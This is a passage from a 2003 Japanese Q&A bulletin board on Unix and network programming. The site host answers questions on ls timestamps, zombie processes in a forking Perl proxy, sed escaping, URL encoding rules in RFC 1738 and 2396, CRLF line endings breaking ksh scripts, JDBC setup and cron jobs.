No. 3020 # ピョンタン [E-mail] 2003/01/09 (木) 11:34:56
ご回答ありがとうございます。
大変助かります。>No.3019(NO3017についての回答)
もうひとつ教えてください。ファイルの
タイムスタンプを取得するのに、
(1)Jan 9 2001  ← 2001/01/09
(2)Dec 10 13:56 ← 2002/12/10
(3)Jun 1 15:00 ← 2003/01/01
というふうに統一性がありません。
特に、(2),(3)だったらどうやって比べればいいのでしょうか?
申し訳ありませんが教えて下さい。

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 3021 # 68user 2003/01/09 (木) 12:53:44
>>3020 ピョンタン
% ls -lT
% ls --fulltime -l
% perl -e 'printf "%d\n", (stat("/foo/bar/baz"))[9]'

などなど。

No. 3022 # ピョンタン [E-mail] 2003/01/09 (木) 16:24:16
お返事ありがとうございました。>No.3021
大変助かりました。
もう少しだけ教えてください。
%ls -fulltime -l
で確認することができましたが、
参考書や、Webで検索しても
の「fulltime」の引数指定意味がよくわかりません。
しかも、私は
×"--fulltime"
○"-fulltime"
で、なんとなくうまくいきました。
本当にお手数をおかけしますが、あともう少しなので
教えて下さい。どうかよろしくお願いします。

No. 3023 # 68user 2003/01/09 (木) 22:19:01
      % ls --fulltime -l

      % ls --full-time -l
の間違いでした。

>>3022 ピョンタン
> ○"-fulltime"
お使いの OS に興味があります。OS の名前を教えてください (てゆーか
質問する際に OS や環境を明示してくださいね)。

意味については
        % man ls
に説明があるはずです。

No. 3024 # テクノソルジャー 2003/01/10 (金) 15:15:07
初めまして、お世話になります。
68userさんのページのhttp-proxy
http://x68000.startshop.co.jp/~68user/net/http-proxy.html
をhttpポートフォワーダーに改造して使わせてもらっている物です。
Linuxですが、、連続して稼動させているとTOP表示でMEM使用率が上がって行きます(50%超え)、いろいろ手を加えてみましたが、未だにこのMEM増加を改善できませんでした。
そこでこれをforkを使ったechoサーバを参考にfork版に修正しました。
while (my $sock = $sock_waiting->accept){
        my $pid = fork();
        my $cpid = $pid ;
        if ($pid!=0) {
    close($sock) ;
    next ;#parlent process
        }
        print " FROM Browser. Accept $sock.\n";
        #Child process
        my ($buf,$request);
        while (1){
                my $brs = sysread($sock, $buf, 10000);
                $request .= $buf;
                if ($brs) {
                        last ;
                }
        }
        print " FROM Browser. Read OK.\n";
        ここに転送先サーバ側とのソケット作成と受信&ブラウザへの返信を記述
        print " FROM Browser. Finished.\n";
        close($sock);
        print " FROM Browser. process End \n";
        exit ;
}

の様に子プロセスのexit文もいれました。なのにpsで見ると、、
hoge 19438 12855 0 14:55 pts/21 00:00:00 perl http-proxy2.pl
hoge 19578 19438 0 14:55 pts/21 00:00:00 [perl <defunct>]
hoge 19579 19438 0 14:55 pts/21 00:00:00 [perl <defunct>]
hoge 19580 19438 0 14:55 pts/21 00:00:00 [perl <defunct>]
hoge 19581 19438 0 14:55 pts/21 00:00:00 [perl <defunct>]
アクセスした分この様なプロセスが残りっぱなしになります。
当然大元スクリプトを停止すればプロセスは消えます。
どうか宜しくご意見ください。

No. 3025 # 68user 2003/01/11 (土) 00:22:35
>>3024 テクノソルジャー
> hoge 19578 19438 0 14:55 pts/21 00:00:00 [perl <defunct>]
> アクセスした分この様なプロセスが残りっぱなしになります。
wait していないからです。以前指摘をいただいたのですが、時間が
とれず手付かずになっています (申し訳ない)。
>>2584 persianopeh
をどうぞ。

> 連続して稼動させているとTOP表示でMEM使用率が上がって行きます(50%超え)
どうもオリジナル版のバグっぽいですね。久々に使ってみましたが、
確かにメモリ使用量がだんだん増えていきました。調べておきます。

# と言っても暇がない〜。

No. 3026 # 68user 2003/01/11 (土) 00:38:38
>>3024 テクノソルジャー
> 連続して稼動させているとTOP表示でMEM使用率が上がって行きます(50%超え)
コネクションを切断しても %conn_table_rev が IO::Socket::INET の
オブジェクトを指しているみたいです。

あと、%conn_table もキーが増えつづけるようです (値は undef かな?)
%conn_table_rev ほどではありませんが (一回あたり数十バイトくらい
でしょうか)、メモリリークなのは確かですね。

なので、remove_contable で適切にハッシュを delete してやればよい
のかもしれませんが、明日も仕事なのでこの辺で… (´・ω・`)

No. 3027 # テクノソルジャー 2003/01/11 (土) 07:36:54
お忙しいところ調査並びご返事ありがとうございます!
>>3025 68user
なるほど、、その仕組みが理解できませんが、、
連休明けには会社で早速処置してみます!
>>3026 68user
こちらはclose漏れかといじって見ましたが、、ハッシュにバインドされているから生成オブジェクトが開放されなかったのですね〜
ハッシュにdefunで増加など考えもしませんでした。
私的に貴重な知識を得ましたです!

No. 3028 # 68user 2003/01/12 (日) 00:37:28
久々にこのサーバのメンテナンスしようとしたら、cron (デーモン) は
2001/11 から止まってるわ、間違って ~/bin/ は消してしまうわで もう散々。

いろいろ動かなくなっていると思いますが、なるべく早く直したいと思います。

No. 3029 # VTOK 2003/01/12 (日) 01:27:21
はじめまして、こんにちは。

いつも参考にさせていただいております。
sedコマンドを使用して文字列の置換をする処理をしたいのですが、
エラーになってしまいます。

やりたいことは、
「aa aaa aaab aac bbb」から『aaa』だけを消したいのです。
---------------------------------------------------
Sample)aaa.sh
#!/bin/sh
testA=`echo aa aaa aaab aac bbb | sed s/aaa\\\b//g`
---------------------------------------------------
としたとき、「//g」が見つかりませんとなります。
※ただし「testA」は、「aa aaab aac bbb」となっていますが、、。
ちなみにシェルではなく単純に実行するとエラーはでません。
    > echo aa aaa aaab aac bbb | sed s/aaa\b//g
    > aa aaab aac bbb
※シェル内では\bは「\\」をつけています。

どなたかお力を貸していただけないでしょうか。
また、「sed」以外の方法でもよいです。

-環境:Linux(RedHat 7.2)

宜しくお願いいたします。

No. 3030 # 68user 2003/01/12 (日) 02:59:48
>>3029 VTOK
手元の FreeBSD の sh や bash ではエラーにならなかったので
よくわかりませんが、そもそも
      % echo aa aaa aaab aac bbb | sed s/aaa\b//g
この aaa\b はシェルが解釈すると aaab になるので、
      % echo aa aaa aaab aac bbb | sed s/aaa\b//g

      % echo aa aaa aaab aac bbb | sed s/aaab//g
と等価だと思います。

ただしスクリプト中の
      testA=`echo aa aaa aaab aac bbb | sed s/aaa\\\b//g`
は正しいと思います。なんでエラーになるんだろう。

No. 3031 # ふくし [E-mail] 2003/01/12 (日) 23:01:07
あけましておめでとうございます。
いつもお世話になりっぱなしですが、今年もよろしくお願いします。
68user さん Perl 5.8 入れてみましたか ;;;

いぜん jperl5.5 でファイルテスト演算子 -T を使っていたんですが、
EUC-JP モードであれば EUC-JP の、
Shift_JIS モードであれば Shift_JIS の漢字を真にしてくれて
便利だったんですが、Perl 5.8 に変えたので
使えなくなってしまいました。
encoding で切り替えられるかと思ったんですがダメでした。
あくまで -T を使いたいとしたらどうすればいいか、
どなたかお分かりであればご教示ください。

No. 3032 # akuro [E-mail] 2003/01/13 (月) 01:19:58
初めましてakuroと申します。

最近、ここを知り色々と勉強させて頂いています。
「HTTP クライアントを作ってみよう(4)」にてお聞きしたい事があるのですが。

HTTP CLIENTを実際に作成して動かしてみたのですが、
「さらなる改善点・URL エンコード」の中で、~(チルタ゛)のついた
場合、変換しなければならないとあるのですが、処理を記述しないで
試しに

http://x68000.startshop.co.jp/~68user/

と入力してみたのですが、問題なく表示されました。
これはどういう事なのでしょうか?

それと、次の項目の「301 Moved Permanently」なのですが、
これも/(スラッシ)無しでも表示されました。
(HEADの場合HTTP/1.1 301 Moved Permanentlyと出ましたが、
BODYもちゃんと表示されました)
これもなぜ表示されるかわかりません。


質問が長くなってしまいましたが、よろしくお願いします。
(HTTP_CLIENTは少し変更して、CGI版にしていますが、処理自体は
変更していません。)

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 3033 # 68user 2003/01/13 (月) 04:02:59
また長ったらしい文章を書いてしまった…。

>>3031 ふくし
> 68user さん Perl 5.8 入れてみましたか ;;;
5.8 どころか最近は 5.004_04 を使ってますよ。退化してます。

> いぜん jperl5.5 でファイルテスト演算子 -T を使っていたんですが、
> EUC-JP モードであれば EUC-JP の、Shift_JIS モードであれば Shift_JIS の
> 漢字を真にしてくれて便利だったんですが、Perl 5.8 に変えたので
perl-5.8.0/pp_sys.c には
          PP(pp_fttext)
          {
                  for (i = 0; i < len; i++, s++) {
                          if (!*s) { /* null never allowed in text */
                                  odd += len; break;
                          }
          #ifdef USE_LOCALE
                                  if (IN_LOCALE_RUNTIME && isALPHA_LC(*s))
                                          continue;
          #endif
                                  /* utf8 characters don't count as odd */
                                  if (UTF8_IS_START(*s)) { ... }
                                  ...
                          }
                          else if (*s < 32 &&
                              *s != '\n' && *s != '\r' && *s != '\b' && *s != '\t' && *s != '\f' && *s != 27)
                                  odd++;
        }
とかなんとか書いてあったりします (UTF8 は OK のような雰囲気ですね)。

USE_LOCALE で IN_LOCALE_RUNTIME ならもしかして! …というわけでさらにおっかけていくと
        % find . -type f | xargs grep isALPHA_LC
        ./handy.h:# define isALPHA_LC(c) NXIsAlpha((unsigned int)(c))
        % find . -type f | xargs grep NXIsAlpha
        ./handy.h: (NXIsAlpha((unsigned int)(c)) || (char)(c) == '_')
        ./handy.h:# define isALPHA_LC(c) NXIsAlpha((unsigned int)(c))
てなわけで NXIsAlpha とやらが定義されていません。isALPHA_LC を
よく見てみると
        #ifdef USE_NEXT_CTYPE
        # define isALPHA_LC(c) NXIsAlpha((unsigned int)(c))
        #else
        # define isALPHA_LC(c) isalpha((unsigned char)(c))
        #endif
てな感じなので、将来は実装するぞ、てなところでしょうか。


>>3032 akuro
> 「さらなる改善点・URL エンコード」の中で、~(チルタ゛)のついた
> 場合、変換しなければならないとあるのですが
URI を定義しているのは RFC1738 です。
      http://www.ietf.org/rfc/rfc1738.txt?number=1738
そこには
      httpurl = "http://" hostport [ "/" hpath [ "?" search ]]
とあります。/~68user/ や /%7E68user/ という部分は hpath に相当します。

      hpath = hsegment *[ "/" hsegment ]
      → hpath は hsegment を / で結合したもの。

      hsegment = *[ uchar | ";" | ":" | "@" | "&" | "=" ]
      → hsegment は uchar か上記記号の 0 個以上の繰返し。

      uchar = unreserved | escape
      → uchar は unreserved か escape。

      unreserved = alpha | digit | safe | extra
      escape = "%" hex hex
      → unreserved は alpha, digit, safe, extra のいずれか。escape は %XX 形式。

      alpha = lowalpha | hialpha
      digit = "0" | "1" | "2" | "3" | "4" | "5" | "6" | "7" | "8" | "9"
      safe = "$" | "-" | "_" | "." | "+"
      extra = "!" | "*" | "'" | "(" | ")" | ","
      → alpha, digit, safe, extra は上記の文字 (lowalpha は英小文字、hialpha は英大文字)。

上記のどこにも ~ は含まれていません。よって、hpath には ~ を
含めてはならず、/~68user/ は間違いで /%7E68user/ は正しいのです。



…というのはその文書を書いた当時の話。今 URI を規定しているのは RFC2396 です。
      http://member.nifty.ne.jp/moha/rfc/rfc2396j.txt

/~68user/ に相当するのは abs_path です (*1)。
            abs_path = "/" path_segments
            path_segments = segment *( "/" segment )
            segment = *pchar *( ";" param )
            param = *pchar
            pchar = unreserved | escaped |
                                            ":" | "@" | "&" | "=" | "+" | "$" | ","
            reserved = ";" | "/" | "?" | ":" | "@" | "&" | "=" | "+" | "$" | ","
            unreserved = alphanum | mark
            mark = "-" | "_" | "." | "!" | "~" | "*" | "'" | "(" | ")"

mark に ~ が含まれているため、URI として ~ を記述することが認められています。

また、上記ページの「G.2. RFC 1738及びRFC 1808からの修正点」には

> チルダ文字"~"を"unreserved"集合に追加した。ある種のキーボードではこの文字の
> 入力に困難を伴うが、インターネットにおいて広く用いられているためである。

とあります。

よって、現在では /~68user/ というリクエストを送っても問題ありません。ただし
/%7E68user/ という表記も間違いではありません。/~68user/ と /%7E68user/ は
等価です。

# …という解釈でいいのかなぁ。自信がないなぁ。

じゃー昔は /%7E68user/ と書かずに /~68user/ とするとエラーになったのか
というと、そんなことはありませんでした。その理由は
        「~ を ~ として解釈しても誰も (web サーバも web クライアントも)
            困らないので (むしろ便利)、web サーバが気をきかせてくれたから」
だと思います。


(*1)
なぜ /~68user/ が abs_path なのかというと、
      RFC2616 (http://www.studyinghttp.net/rfc_ja/2616/sec3.html#sec3.2.1)

      http_URL = "http:" "//" host [ ":" port ] [ abs_path [ "?" query ]]
と定義してあり、さらに
      URL 構文やセマンティクスの定義についての情報については、(RFC 1738 [4] と
      RFC 1808 [11] を置き換えた)
          "Uniform Resource Identifiers (URI): Generic Syntax and Semantics," RFC 2396 参照。
      この規格書では、その規格書にある、"URI-reference", "absoluteURI", "relativeURI",
      "port", "host", "abs_path", "rel_path", "authority" の定義を採用する。
とあるからです。

> それと、次の項目の「301 Moved Permanently」なのですが、
> これも/(スラッシ)無しでも表示されました。
こちらで試してみたところ、

        GET /~68user HTTP/1.0

        HTTP/1.1 301 Moved Permanently
        (略)
        Location: http://jfx.startshop.co.jp/~68user/
        (略)

        <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
        (略)
        </BODY></HTML>

となりました。ここで BODY 部に表示されているのは、
      「あなたが要求したドキュメントはここにあるのでクリックしてね」
という web サーバが生成した文章ですので、正しい挙動だと思います。

No. 3034 # ふくし [E-mail] 2003/01/13 (月) 08:03:06
あっそうそう、utf8 は実装してるんですよ、言い忘れました。
ソースを追ってくれてありがとうございます。
そうやって見るんですね〜

5.004_04 って for (0..100000) でメモリはじけませんか。
ぼくは例の BigInt の件もあるし、encoding の件もあるしで、
無批判に最新版を使うようにしています。

No. 3035 # ゴラス 2003/01/13 (月) 23:02:11
68userさん詳しい解説ありがとうございました。

正直、自分はネットワークに関する知識が低く、100%解説を
理解できたわけではないのですが、大雑把にですが理解しました。
(RFCも始めて閲覧しました)

これからも色々と勉強させていただきたいと思います。

No. 3036 # アロエ 2003/01/14 (火) 09:25:48
教えてください。
メモリ使用率が知りたいのです。Linuxではsysinfoというシステムコールを使って出せましたが、SolarisとHP-UXで出せません。
知ってる方がいましたら教えてください。

No. 3037 # 68user 2003/01/15 (水) 01:40:47
>>3036 アロエ
HP-UX は知りませんが、Solaris なら vmstat とか。
sar でもいけたっけかな?

とかいいつつ、僕は top 入れてますけれども。

No. 3038 # ピョンタン [E-mail] 2003/01/16 (木) 08:50:03
お返事遅くなりました。(>>3023)
OSはUNIX(HP)です。
man lsでfulltimeを探したのですが
見つかりませんでした…。しかも、
「-fulltime」でうまくいったかと思ったのですが、
そうでもなさそうでした。
いろいろありがとうございました。

No. 3039 # コーコー [E-mail] 2003/01/16 (木) 21:01:28
はじめまして、初めて書き込みます。
僕は高校3年生で、こんなところに書き込むのは若干場違いなのですがどの書籍を見てもよくわからなかったので書き込みました。
今、学校でLinuxを使ってHTTPについて勉強しているのですがどうしてもファイル転送ができません。
サンプルプログラムで実行しても出来ません。(その作者のホストにはちゃんとアクセスできます)
Not FoundやForbiddenというのがでます。
chmodでそのファイルを他からも読み書きできるようにしているのですが無理でした。どうしたらいいでしょうか??
あとサンプルでは全てhtmlファイルなんですが、htmlファイルしかダメというわけでしょうか?
詳しい知識もなく、このような場を借りることは失礼だと思いましたが真剣に今の研究をやりとげたいと思いメールしました。
宜しくお願いします。

No. 3040 # 68user 2003/01/16 (木) 22:05:27
>>3038 ピョンタン
あー、-f、-u、-l、-t、-i、-m、-e 全てのオプションを
受け付ける ls なら -fulltime でもエラーにならないかも
しれないですね。想像ですが、HP-UX の ls では無理でしょう。
perl・awk などの別解でやってみてください。

>>3039 コーコー
> ファイル転送ができません。
ファイル転送とはアップロード? ダウンロード?

> サンプルプログラムで実行しても出来ません。
そのサンプルプログラムを提示しないと誰にもわからんでしょう。

> (その作者のホストにはちゃんとアクセスできます)
なぜ作者のホストが関係あるのですか? 作者のホストに
アクセスするようなサンプルプログラム? と思ったら、

> chmodでそのファイルを他からも読み書きできるように
> しているのですが無理でした。
chmod できるということは自分の web ページに対して
アクセスしている?

> どうしたらいいでしょうか??
自分が何を意図して何をした結果うまくいかないのか、を説明する
ことだと思います。

No. 3041 # has 2003/01/17 (金) 01:49:04
おひさしぶりです。またまたおじゃまします。長々とごめんなさい。

以前、LAN環境でlinuxを利用していてNetscape等で名前解決できない
というご相談を、
>>2779 has
    :
>>2871 has
でさせていただきましたが、その後すっかりほったらかしでした。
で、最近また気が向いたのでいくらか調べた結果、いくつか新しい事が
わかってきたので一応ご報告します。

まず、dhcpにて各種情報を正常に取得できていたと以前は言ったのですが、
実はeth0起動時に1分程度かかっていました。これに関して、どうやら
dhcpcdの動作はRFCで提案されている2通りのいずれかを指定できる
らしく、デフォルトではなく、-rを指定することにより一瞬で起動する
ようになりました。この-rで動作するモードですが、linux関係の
情報源ではあくまでも「RFC1541」と解説しているものの、どうもMSの
提案した動作のようで、これを指定してうまく動くという点が非常に
ひっかかりました。

で、もしやこのLANではWindowsサーバが名前解決してるんでは?と思い
はじめ、それからNetBIOSやWINSといった言葉を知るようになり、
そしてこのLAN内ではDNSが走っていないのかも、と疑い出しました。

というのも、linux上でdigによる正引きはなぜかできるのですが、
やはりCで書いたgethostbynameを利用するプログラムが動かないのは
おかしいと思い、Windowsでは本当にDNSを利用しているんだろうか、
と思ったのです。試しにWindows上でipconfigによってDHCPで取得した
DNSサーバアドレス192.168.0.1を割り出し、そのDNSポート53にtelnet
してみたところ、アクセスはrefusedでした。

もしかしたらセキュリティ確保のため、コンマ数秒でリクエストが無い
場合にはとっととコネクションを切っているのかもしれませんが、
なんとなく俺的にはやはりDNSが動いていないような気がします。

というわけで、結論としてWindowsネットワークにlinuxをクライアントと
して参加させる方法、というのが知りたいのですが、どうも検索をしても
linuxをサーバ、Windowをクライアントとしてネットワークを構築する
方法しか目につかず、どうしたらよいのかわからない状況です。

もしかしたらsambaをWINSクライアントにする、という方法を使うのかも
しれませんが、だとしてもそれをlinuxの名前解決とどう連携させるのか
その方法もわかりません。もしこのあたりのことで知っていることが
あれば、アドバイスまたは資料の場所などを教えてください。

よろしくお願いします。

No. 3042 # AMA [E-mail] 2003/01/17 (金) 16:25:05
[OSのVER]:Solaris7
[SQLServerのVER]:SQLServer2000
http://www.microsoft.com/japan/msdn/sqlserver/downloads/jdbc/default.asp
にて提供されているJDBCDriverについて、
Windows版は使用可能だったのですが、
(Win2000PRO/TOMCAT/JSP→JDBCDriver→Win2000Server/SQLServer2000)
UNIX版では
(1)インストール
(2)環境変数の設定
で躓いております。

(1)についてはinstall.kshを起動した際に以下のメッセージが表示され
正常にインストールされません。
****************************************************************
RSWWW001% su
Password:
RSWWW001# cd /export/home/ldn
RSWWW001# ls
DeadLetters fsearchc mssqlserverj.tar
EULA.txt install.ksh read.me
Mail list.jsp result.jsp
a.txt local.cshrc su.txt
classes_20010820.tar local.login test.login20030117
core local.profile testpass.sh
editerc msjdbc.tar
RSWWW001# ksh install.ksh
install.ksh[2]: ^M: 見つかりません。
install.ksh[3]: clear^M: 見つかりません。
install.ksh[4]: ^M: 見つかりません。

============================================================
= SQLServer 2000 driver for JDBC Installation =
= Version 2.2.0021 =
============================================================

Initializing.....

install.ksh[13]: ^M: 見つかりません。
install.ksh[17]: ^M: 見つかりません。

=================================================================
= SQLServer 2000 driver for JDBC License Agreement =
=================================================================

Press <enter> to view License Agreement.
install.ksh[24]: DUMMY^M: 英数字以外の文字が使用されています。
install.ksh[25]: ^M: 見つかりません。
: ファイルもディレクトリもありません。
install.ksh[27]: ^M: 見つかりません。

Do you agree to the terms of the License Agreement? <y/n> (y)
install.ksh[30]: ^M: 見つかりません。
install.ksh[31]: ANSWER^M: 英数字以外の文字が使用されています。
install.ksh[32]: ^M: 見つかりません。
' 異常終了しました。 エラー 行目34 : `in
RSWWW001#
****************************************************************
そこでinstall.kshの記述に沿う形で
/opt/msSQLjdbc/lib以下にjarファイルを格納して作業を進めています。

(2)については、
Soralis7/富士通WebServer(INTERSTAGE)→JDBCDriver→WinNTServer/SQLServer2000
という環境下で、前述のWindows(TOMCAT)上で動作していたJSPを動かそうとしたところ、
JDBCDriverをロードする際に、ClassNotFoundExceptionが発生してしまいます。
****************************************************************
Class.forName("com.microsoft.jdbc.sqlserver.SQLServerDriver");
****************************************************************
CLASSPATHの設定もしているのですが、原因が掴めません。

(1)(2)についてご助言頂ければ幸いです。
是非宜しくお願い致します。

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 3043 # コーコー [E-mail] 2003/01/17 (金) 19:10:47
NO3039の続き

>>3040 お返事ありがとうございます。言葉足らずで申し訳ありませんでした。
そのサンプルは単純にデータを取得して、ファイルに保存するだけのものです。

http://www.ncad.co.jp/~komata/netprg のHTTPのサンプルソース一式
を参照しました。

作者のホストには例題としてアクセスしてみました。

自分のwebページは持っていません。学校の共有PCでやっているので学校内の他のPCからファイルを
もってくるにはchmodを使うものだと思いました。

僕の中では最終的には複数のクライアントからの処理を並列処理(マルチスレッドを利用する予定)してサーバー
、クライアント間でデータをアップロード、ダウンロードできるようにしたいです。

プログラムはCでしか出来ませんが何かよいプログラムなどはあるでしょうか?
よろしくおねがいします。

No. 3044 # 68user 2003/01/18 (土) 00:06:05
>>3041 has
> DNSサーバアドレス192.168.0.1を割り出し、そのDNSポート53にtelnet
> してみたところ、アクセスはrefusedでした。
まず、DNS の query は TCP じゃなくて UDP ですが、それは OK ですか?

> Windowsネットワークにlinuxをクライアントとして参加させる方法
マイクロソフトネットワークについての知識はほとんどないのですが、
    http://www.hyperdyne.co.jp/~oohashi/work/resolve/resolve.shtml
などを読む限り、その方向性はなんか違うような気がします。
Windows マシンでパケットアナライザを使って、DNS サーバに
query を投げているかどうか確認してみてはどうでしょうか。


>>3042 AMA
> install.ksh[25]: ^M: 見つかりません。
スクリプトの改行コードが Windows 式の 0x0D 0x0A になっている
からでしょう。

> CLASSPATHの設定もしているのですが、原因が掴めません。
どのように設定したのか書かないと誰にもわからないと思いませんか?

あと、tomcat は起動スクリプト内で CLASSPATH を設定しなおすんじゃ
なかったでしたっけ (tomcat4 だけだったかも)。

てゆーか、インストールが成功したかどうかは、まずコマンドライン
アプリケーションから確認すべきだと思います。
    http://java-house.jp/ml/archive/j-h-b/021880.html#body


>>3043 コーコー
> 自分のwebページは持っていません。学校の共有PCでやっているので
> 学校内の他のPCからファイルをもってくるにはchmodを使うものだと
> 思いました。
校内のマシンに apache や IIS などの web サーバを立てましたか?
立ててないなら無理です。まずは、ブラウザで
    http://www.example.co.jp/foo.html
などとアクセスできるようにサーバ側を設定する必要があります。

しかし
> Not FoundやForbiddenというのがでます。
というのを見ると web サーバは設定済のようにも読めますし、
よくわかりませんね。ブラウザで見るとどうなるんですか?
サンプルプログラムの引数には何を設定しているのですか?

> http://www.ncad.co.jp/~komata/netprg/
この作者の書いた「C for UNIX」という本は買いましたが、
セマフォあたりの解説で
    「よくわからんがこんな感じで動いている」
といったことが書いてあり、なかなか脱力させていただきました。

サンプルの httpget.c も、
    - htons を使わず、わざわざ short_conv なる関数を自作している。
    - select(2) のループ内で struct timeval をリセットしていない。
    - main の戻り値が void。
    - インデントが厨房くさい (作者の中では一貫した基準らしきものが
        あるようだが…)。
    - shutdown -> close という手順を踏んでいる意味がわからない。
        (close でいいんじゃない?)
    - 戻り値が int の関数であっても、呼び出し前に宣言すべきでは?
        (引数の型チェックができないし)
と、なかなか怪しげです。

# ま、僕も他人のことは言えないのですが。

ただし書籍の価値は読む人との相性次第で決まると思うので、だからと
言って悪い本だとはいいません。あなたが理解しやすいと思ったら
それはよい本なのでしょう。そのうちもっとよい本を読んで正しい知識
を身につけてください。

No. 3045 # has 2003/01/18 (土) 20:05:16
>>3044 68user
Windows2k上でパケット監視してみました。
Operaにてwww.jp.freebsd.orgに接続しに行ったところ、DNSへの問い合わせを
実行しており、正常な応答をもらっているようでした。
で、それとは別に最近気づいたのですが、Win2k上でnslookupが
うまくいってないようなので、ついでにそちらも監視してみたところ、
Non-Existent Domainが返されていました。まだ修正方法すら調べてませんが、
これから勉強してみようと思います。
# まあこれはlinuxの設定を使用しているわけではないので、本来の目的と
# 直接は関係ないのですが…(^^;)

それと以前にも「linuxでパケット監視したら?」とアドバイスをもらってた
ような気がするもののまだ試していないので、それも今度こそやってみます。

> まず、DNS の query は TCP じゃなくて UDP ですが、それは OK ですか?
OKじゃありませんでした。上のパケット監視中UDPで送られてるのを確認しました。

http://www.atmarkit.co.jp/fsecurity/rensai/iprotect01/iprotect01.html
telnetで試しに接続してみる、というのは↑を参考にしてやってたんですが、
勉強が足りなかったようです(--;)

>> Windowsネットワークにlinuxをクライアントとして参加させる方法
> マイクロソフトネットワークについての知識はほとんどないのですが、
> http://www.hyperdyne.co.jp/~oohashi/work/resolve/resolve.shtml
> などを読む限り、その方向性はなんか違うような気がします。
なるほど。Windowsでも「ドット区切りもしくは15文字以上のコンピュータ名は
DNSで引く」ということですね。この点はどうなってるのか知らなかったので、
はっきりできてよかったです。

No. 3046 # AMA [E-mail] 2003/01/20 (月) 13:27:34
68user様ご助言ありがとうございました。
kshの実行については、ご指摘のとおり改行コードを直す事で
正常に実行できました。
環境変数の設定については、.cshrcに
setenv CLASSPATH /opt/msSQLjdbc/lib/msbase.jar:/opt/msSQLjdbc/lib/mssqlserver.jar:/opt/msSQLjdbc/lib/msutil.jar
との記述をしていたのですが、上手くいかなかったため、
(JDKインストールフォルダ)/jre/lib/ext以下に
jarファイルをコピーする事で正常動作させることができました。

初UNIXで分からない事ばかりですが、このページでいろいろと
勉強させて頂きたいと思います。
ありがとうございました。

No. 3047 # KEI [E-mail] 2003/01/20 (月) 15:41:38
初めてメールいたします。

色々なゲームソフトをあっちこっちで拾い集めてPCにインストールしたところ
C¥:REM[Header]

環境変数のため領域が足りません。

上記のメッセージが出てきてwindowsが立ち上がりません。

どのような処理をしたらいいのか教えてください。

ただ、c:\ winと入力すればたちあがってくるのですが・・・

No. 3048 # HITO 2003/01/20 (月) 17:08:11
シェル実行中にCtrl+Cして、強制終了させたときに、
バックグラウンドで動いていたシェルも終了させたいんですが、
イマイチうまく動きません。ちなみにKシェルです。

back_pid=`job -l awk '{print $3}'`でPIDを取得して
kill -9 $back_pidで強制終了
というのを、trap '〜' INTの中でやろうと思ったんですが、
trapの''の中にawkの''があるせいで、エラーになってしまいます。

でも、これだと、バックグラウンドで動いてるプロセスが無い場合も、
未設定の値でkillが走ってしまうので、あまり良くないですが・・・

何か良い方法はありませんか?

No. 3049 # 68user 2003/01/21 (火) 10:51:01
>>3045 has
> Win2k上でnslookupがうまくいってないようなので、ついでにそちらも
> 監視してみたところ、Non-Existent Domainが返されていました。
謎ですねぇ。こっちを解決したら Linux の問題も解決したりして。

>>3047 KEI
Windows はわかりません。

>>3048 HITO
> trapの''の中にawkの''があるせいで、エラーになってしまいます。
クォートの規則がわからなかったら、
        siginthandler(){
                  back_pid=....
                  kill ...
        }
        trap siginthandler INT
と別関数にしましょう。

> でも、これだと、バックグラウンドで動いてるプロセスが無い場合も、
> 未設定の値でkillが走ってしまうので、あまり良くないですが・・・
        if [ "$back_pid" != "" ]; then
                kill ...
        fi
てな感じで。

No. 3050 # さとし 2003/01/21 (火) 15:18:01
はじめまして、さとしです。
突然で申し訳ないのですが教えて欲しい事があります
shell内で、あたかも関数の様に処理を作成して、同一shell内の呼び出し元に返り値を返すことって出来ますか?

No. 3051 # 68user 2003/01/21 (火) 16:44:30
>>3050 さとし
shell って言ってもいくつか種類があるんですけんども。どのシェルを使って
いるのか ちゃんと書きましょう。

sh 系なら
        func(){
                echo "$@"
                return 8
        }
        func 1 2 3 4 hoge fuga
        echo $?
とか。

No. 3052 # しん 2003/01/21 (火) 16:53:45
はじめまして。現在サイトを参考にさせて頂き、HTTPクライアントを作成しております。ベーシック認証において、perlを使いID及びPasswordを相手側サーバに送信する方法を教えて頂けないでしょうか。お忙しいところ申し訳ございませんが宜しくご教授願います。

No. 3053 # 68user 2003/01/21 (火) 17:08:16
>>3052 しん
> ベーシック認証において、perlを使いID及びPasswordを相手側サーバに送信する方法

>>2612 68user
をどうぞ。

No. 3054 # 高橋 [E-mail] 2003/01/23 (木) 01:49:24
はじめまして、
ちょっとだけ聞きたいことがあります。
crontabにシェルを登録しました。
内容は
* * * * * (./Home/Comp/.profile; /Home/Comp/glance_log.sh)
です。
マシンはHP 11.0を使っております。
そしてシェルの内容は
===glance_log.sh===
nohup glance -adviser_only -iterations 1 -syntax ./temp -j 30 >> glance_log.dat &
で,
=== ./temp====
print gbl_stattime, " CPU=", GBL_CPU_TOTAL_UTIL, " DISK I/O=", GBL_DISK_UTIL_PEAK, " MEM UTIL=", GBL_MEM_UTIL
です。
普通のprompt上で実行すると
glance_log.datにローグが積みます。
===glance_log.dat===
01:29:49 CPU= 11.4 DISK I/O= 19.5 MEM UTIL= 81.0
01:29:50 CPU= 17.6 DISK I/O= 9.5 MEM UTIL= 81.1

ところがcrontabに登録して実行させると
glance_log.datには何もでしませんでした。
もちろんのことにechoを使って実行させるとechoだけはローグができますね。
やはりttyの設定が悪いからではないかなぁとおもうんですが、どうやってcrontabに登録したらいいかわかりません。

助けてください。
ほんとに困ります。

No. 3055 # えい 2003/01/23 (木) 09:12:31
はじめまして。いつも参考にさせて頂いてます。

perlで書いたサーバプログラムをinetd経由で起動しているのですが、
接続してきた相手の情報を取得する方法がわからず困っています。
どのように取得するのが一般的な方法なのでしょうか。

No. 3056 # 68user 2003/01/23 (木) 12:48:21
>>3054 高橋
> (./Home/Comp/.profile; /Home/Comp/glance_log.sh)
. と / の間に空白がないので .profile の読み込みに失敗しているのでは?
それを直してもダメなら、
      (. /Home/Comp/.profile; /bin/printenv)
などで環境変数を確認しましょう。

> やはりttyの設定が悪いからではないかなぁとおもうんですが
glance というコマンドは知りませんが、キーボードからの
入力を受け付けるようなプログラムであれば tty がらみ
かもしれません。でも、そうでないなら tty は関係ないでしょう。


>>3055 えい
